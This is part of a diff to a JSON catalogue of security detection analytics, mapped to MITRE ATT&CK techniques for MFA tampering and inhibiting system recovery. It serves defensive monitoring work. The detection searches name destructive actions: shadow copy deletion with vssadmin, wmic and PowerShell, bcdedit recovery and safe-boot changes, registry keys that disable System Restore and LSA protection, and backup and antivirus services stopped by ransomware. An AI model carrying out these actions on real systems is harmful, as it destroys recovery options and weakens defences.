Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A new virtual device $virtualMFADeviceName$ is added to user $user_arn$", - "risk_score": 64, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an Azure AD user. It leverages Azure Active Directory AuditLogs to identify the \"Disable Strong Authentication\" operation. This activity is significant because disabling MFA can allow adversaries to maintain persistence using compromised accounts without raising suspicion. If confirmed malicious, this action could enable attackers to bypass an essential security control, potentially leading to unauthorized access and prolonged undetected presence in the environment.", - "search": "`azure_monitor_aad` category=AuditLogs operationName=\"Disable Strong Authentication\" | rename properties.* as * | rename targetResources{}.type as type | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime by user, type, operationName, initiatedBy, result | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "MFA disabled for User $user$ initiated by $initiatedBy$", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD New MFA Method Registered For User", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for an Azure AD account. It leverages Azure AD AuditLogs to identify when a user registers new security information. This activity is significant because adversaries who gain unauthorized access to an account may add their own MFA method to maintain persistence. If confirmed malicious, this could allow attackers to bypass existing security controls, maintain long-term access, and potentially escalate their privileges within the environment.", - "search": " `azure_monitor_aad` category=AuditLogs operationName=\"User registered security info\" properties.operationType=Add | rename properties.* as * | rename targetResources{}.* as * | stats count min(_time) as firstTime max(_time) as lastTime by user, resultDescription, result, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_new_mfa_method_registered_for_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A new MFA method was registered for user $user$", - "risk_score": 64, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "GCP Multi-Factor Authentication Disabled", - "description": "The following analytic detects an attempt to disable multi-factor authentication (MFA) for a Google Cloud Platform (GCP) user. It leverages Google Workspace Admin log events, specifically the `UNENROLL_USER_FROM_STRONG_AUTH` command. This activity is significant because disabling MFA can allow an adversary to maintain persistence within the environment using a compromised account without raising suspicion. If confirmed malicious, this action could enable attackers to bypass additional security layers, potentially leading to unauthorized access, data exfiltration, or further exploitation of the compromised account.", - "search": "`gws_reports_admin` command=UNENROLL_USER_FROM_STRONG_AUTH | stats count min(_time) as firstTime max(_time) as lastTime by user, command, actor.email, status, id.applicationName, event.name, vendor_account, action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `gcp_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "GCP", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "actor.email", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "MFA disabled for User $user$ initiated by $actor.email$", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Disable MFA", - "description": "The following analytic identifies instances where Multi-Factor Authentication (MFA) is disabled for a user within the Office 365 environment. It leverages O365 audit logs, specifically focusing on events related to MFA settings. Disabling MFA removes a critical security layer, making accounts more vulnerable to unauthorized access. If confirmed malicious, this activity could indicate an attacker attempting to maintain persistence or an insider threat, significantly increasing the risk of unauthorized access. Immediate investigation is required to validate the reason for disabling MFA, potentially re-enable it, and assess any other suspicious activities related to the affected account.", - "search": "`o365_management_activity` Operation=\"Disable Strong Authentication.\" | stats count earliest(_time) as firstTime latest(_time) as lastTime by UserType Operation UserId ResultStatus object | rename UserType AS user_type, Operation AS action, UserId AS src_user, object AS user, ResultStatus AS result | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_disable_mfa_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $src_user$ has executed an operation $action$ for user $user$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "O365 Excessive SSO logon errors", - "description": "The following analytic detects accounts experiencing a high number of Single Sign-On (SSO) logon errors. It leverages data from the `o365_management_activity` dataset, focusing on failed user login attempts with SSO errors. This activity is significant as it may indicate brute-force attempts or the hijacking/reuse of SSO tokens. If confirmed malicious, attackers could potentially gain unauthorized access to user accounts, leading to data breaches, privilege escalation, or further lateral movement within the organization.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory LogonError=*Sso* Operation=UserLoginFailed | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip signature user_agent authentication_service action| where count >= 5 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_excessive_sso_logon_errors_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Excessive number of SSO logon errors from $src_ip$ using UserAgent $user_agent$.", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Disabling Windows Local Security Authority Defences via Registry", - "description": "The following analytic identifies the deletion of registry keys that disable Local Security Authority (LSA) protection and Microsoft Defender Device Guard. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry actions and paths associated with LSA and Device Guard settings. This activity is significant because disabling these defenses can leave a system vulnerable to various attacks, including credential theft and unauthorized code execution. If confirmed malicious, this action could allow attackers to bypass critical security mechanisms, leading to potential system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` min(_time) as _time from datamodel=Endpoint.Registry where Registry.registry_path IN (\"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\LsaCfgFlags\", \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\DeviceGuard\\\\*\", \"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL\") Registry.action IN (deleted, unknown) by Registry.action Registry.registry_path Registry.process_guid Registry.dest Registry.user| `drop_dm_object_name(Registry)` | join type=outer process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes by Processes.user Processes.process_name Processes.process Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)`] | table _time action dest user parent_process_name parent_process process_name process process_guid registry_path | `disabling_windows_local_security_authority_defences_via_registry_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An attempt to disable Windows LSA defences was detected on $dest$. The reg key $registry_path$ was deleted by $user$.", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } } ], "external_reference": [ @@ -712076,45 +480977,7 @@ "data_component": "file deletion", "type": "activity", "description": "A file was deleted.", - "source_data_element": "process", - "relationship": "deleted", - "target_data_element": "file", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", - "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" - ] - }, - { - "technique_id": "T1490", - "technique": "Inhibit System Recovery", - "tactic": [ - "impact" - ], - "platform": [ - "Windows", - "macOS", - "Linux" - ], - "data_source": "file", - "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "file deletion", - "type": "activity", - "description": "A file was deleted.", - "source_data_element": "user", + "source_data_element": "process", "relationship": "deleted", "target_data_element": "file", "references": [ @@ -712124,627 +480987,42 @@ ] }, { - "name": "AWS Disable Bucket Versioning", - "description": "The following analytic detects when AWS S3 bucket versioning is suspended by a user. It leverages AWS CloudTrail logs to identify `PutBucketVersioning` events with the `VersioningConfiguration.Status` set to `Suspended`. This activity is significant because disabling versioning can prevent recovery of deleted or modified data, which is a common tactic in ransomware attacks. If confirmed malicious, this action could lead to data loss and hinder recovery efforts, severely impacting data integrity and availability.", - "search": "`cloudtrail` eventName= PutBucketVersioning \"requestParameters.VersioningConfiguration.Status\"=Suspended | stats count values(requestParameters.bucketName) as bucket_name values(resources{}.ARN) as resource_arn by src_ip aws_account_id awsRegion eventName userAgent user_arn userIdentity.principalId errorCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `aws_disable_bucket_versioning_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Suspicious AWS S3 Activities" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Bucket Versioning is suspended for S3 buckets- $bucket_name$ by user $user_arn$ from IP address $src_ip$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Bcdedit Command Back To Normal Mode Boot", - "description": "The following analytic detects the execution of a suspicious `bcdedit` command that reconfigures a host from safe mode back to normal boot. This detection leverages Endpoint Detection and Response (EDR) data, focusing on command-line executions involving `bcdedit.exe` with specific parameters. This activity is significant as it may indicate the presence of ransomware, such as BlackMatter, which manipulates boot configurations to facilitate encryption processes. If confirmed malicious, this behavior could allow attackers to maintain control over the boot process, potentially leading to further system compromise and data encryption.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = bcdedit.exe Processes.process=\"*/deletevalue*\" Processes.process=\"*{current}*\" Processes.process=\"*safeboot*\" by Processes.process_name Processes.process Processes.parent_process_name Processes.dest Processes.user |`drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `bcdedit_command_back_to_normal_mode_boot_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "bcdedit process with commandline $process$ to bring back to normal boot configuration the $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "BCDEdit Failure Recovery Modification", - "description": "The following analytic detects modifications to the Windows error recovery boot configurations using bcdedit.exe with flags such as \"recoveryenabled\" and \"no\". It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant because ransomware often disables recovery options to prevent system restoration, making it crucial for SOC analysts to investigate. If confirmed malicious, this could hinder recovery efforts, allowing ransomware to cause extensive damage and complicate remediation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = bcdedit.exe Processes.process=\"*recoveryenabled*\" (Processes.process=\"* no*\") by Processes.process_name Processes.process Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `bcdedit_failure_recovery_modification_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Ryuk Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting disable the ability to recover the endpoint.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Change To Safe Mode With Network Config", - "description": "The following analytic detects the execution of a suspicious `bcdedit` command that configures a host to boot in safe mode with network support. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving `bcdedit.exe` with specific parameters. This activity is significant because it is a known technique used by BlackMatter ransomware to force a compromised host into safe mode for continued encryption. If confirmed malicious, this could allow attackers to bypass certain security controls, persist in the environment, and continue their malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = bcdedit.exe Processes.process=\"*/set*\" Processes.process=\"*{current}*\" Processes.process=\"*safeboot*\" Processes.process=\"*network*\" by Processes.process_name Processes.process Processes.parent_process_name Processes.dest Processes.user |`drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `change_to_safe_mode_with_network_config_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "bcdedit process with commandline $process$ to force safemode boot the $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Delete ShadowCopy With PowerShell", - "description": "The following analytic detects the use of PowerShell to delete shadow copies via the WMIC PowerShell module. It leverages EventCode 4104 and searches for specific keywords like \"ShadowCopy,\" \"Delete,\" or \"Remove\" within the ScriptBlockText. This activity is significant because deleting shadow copies is a common tactic used by ransomware, such as DarkSide, to prevent data recovery. If confirmed malicious, this action could lead to irreversible data loss and hinder recovery efforts, significantly impacting business continuity and data integrity.", - "search": "`powershell` EventCode=4104 ScriptBlockText= \"*ShadowCopy*\" (ScriptBlockText = \"*Delete*\" OR ScriptBlockText = \"*Remove*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText |rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `delete_shadowcopy_with_powershell_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware", - "DarkSide Ransomware", - "Ransomware", - "Revil Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An attempt to delete ShadowCopy was performed using PowerShell on $dest$ by $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Deleting Shadow Copies", - "description": "The following analytic detects the deletion of shadow copies using the vssadmin.exe or wmic.exe utilities. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because deleting shadow copies is a common tactic used by attackers to prevent recovery and hide their tracks. If confirmed malicious, this action could hinder incident response efforts and allow attackers to maintain persistence and cover their activities, making it crucial for security teams to investigate promptly.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=vssadmin.exe OR Processes.process_name=wmic.exe) Processes.process=*delete* Processes.process=*shadow* by Processes.user Processes.process_name Processes.parent_process_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `deleting_shadow_copies_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-264A", - "Chaos Ransomware", - "Clop Ransomware", - "DarkGate Malware", - "LockBit Ransomware", - "Prestige Ransomware", - "Ransomware", - "Rhysida Ransomware", - "SamSam Ransomware", - "Windows Log Manipulation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to delete shadow copies.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disabling SystemRestore In Registry", - "description": "The following analytic detects the modification of registry keys to disable System Restore on a machine. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with System Restore settings. This activity is significant because disabling System Restore can hinder recovery efforts and is a tactic often used by Remote Access Trojans (RATs) to maintain persistence on an infected system. If confirmed malicious, this action could prevent system recovery, allowing the attacker to sustain their foothold and potentially cause further damage or data loss.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\\DisableSR\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\\DisableConfig\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\SystemRestore\\\\DisableSR\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\SystemRestore\\\\DisableConfig\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_systemrestore_in_registry_filter`", - "tags": { - "analytic_story": [ - "NjRAT", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows registry was modified to disable system restore on $dest$ by $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Known Services Killed by Ransomware", - "description": "The following analytic detects the suspicious termination of known services commonly targeted by ransomware before file encryption. It leverages Windows System Event Logs (EventCode 7036) to identify when critical services such as Volume Shadow Copy, backup, and antivirus services are stopped. This activity is significant because ransomware often disables these services to avoid errors and ensure successful file encryption. If confirmed malicious, this behavior could lead to widespread data encryption, rendering files inaccessible and potentially causing significant operational disruption and data loss.", - "search": "`wineventlog_system` EventCode=7036 param1 IN (\"*Volume Shadow Copy*\",\"*VSS*\", \"*backup*\", \"*sophos*\", \"*sql*\", \"*memtas*\", \"*mepocs*\", \"*veeam*\", \"*svc$*\", \"DefWatch\", \"ccEvtMgr\", \"ccSetMgr\", \"SavRoam\", \"RTVscan\", \"QBFCService\", \"QBIDPService\", \"Intuit.QuickBooks.FCS\", \"QBCFMonitorService\" \"YooBackup\", \"YooIT\", \"*Veeam*\", \"PDVFSService\", \"BackupExecVSSProvider\", \"BackupExecAgentAccelerator\", \"BackupExec*\", \"WdBoot\", \"WdFilter\", \"WdNisDrv\", \"WdNisSvc\", \"WinDefend\", \"wscsvc\", \"Sense\", \"sppsvc\", \"SecurityHealthService\") param2=\"stopped\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode param1 dest | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `known_services_killed_by_ransomware_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware", - "LockBit Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "param1", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Known services $param1$ terminated by a potential ransomware on $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Prevent Automatic Repair Mode using Bcdedit", - "description": "The following analytic detects the execution of \"bcdedit.exe\" with parameters to set the boot status policy to ignore all failures. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because it can indicate an attempt by ransomware to prevent a compromised machine from booting into automatic repair mode, thereby hindering recovery efforts. If confirmed malicious, this action could allow attackers to maintain control over the infected system, complicating remediation and potentially leading to further damage.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"bcdedit.exe\" Processes.process = \"*bootstatuspolicy*\" Processes.process = \"*ignoreallfailures*\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `prevent_automatic_repair_mode_using_bcdedit_filter`", - "tags": { - "analytic_story": [ - "Chaos Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious process $process_name$ with process id $process_id$ contains commandline $process$ to ignore all bcdedit execution failure in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System 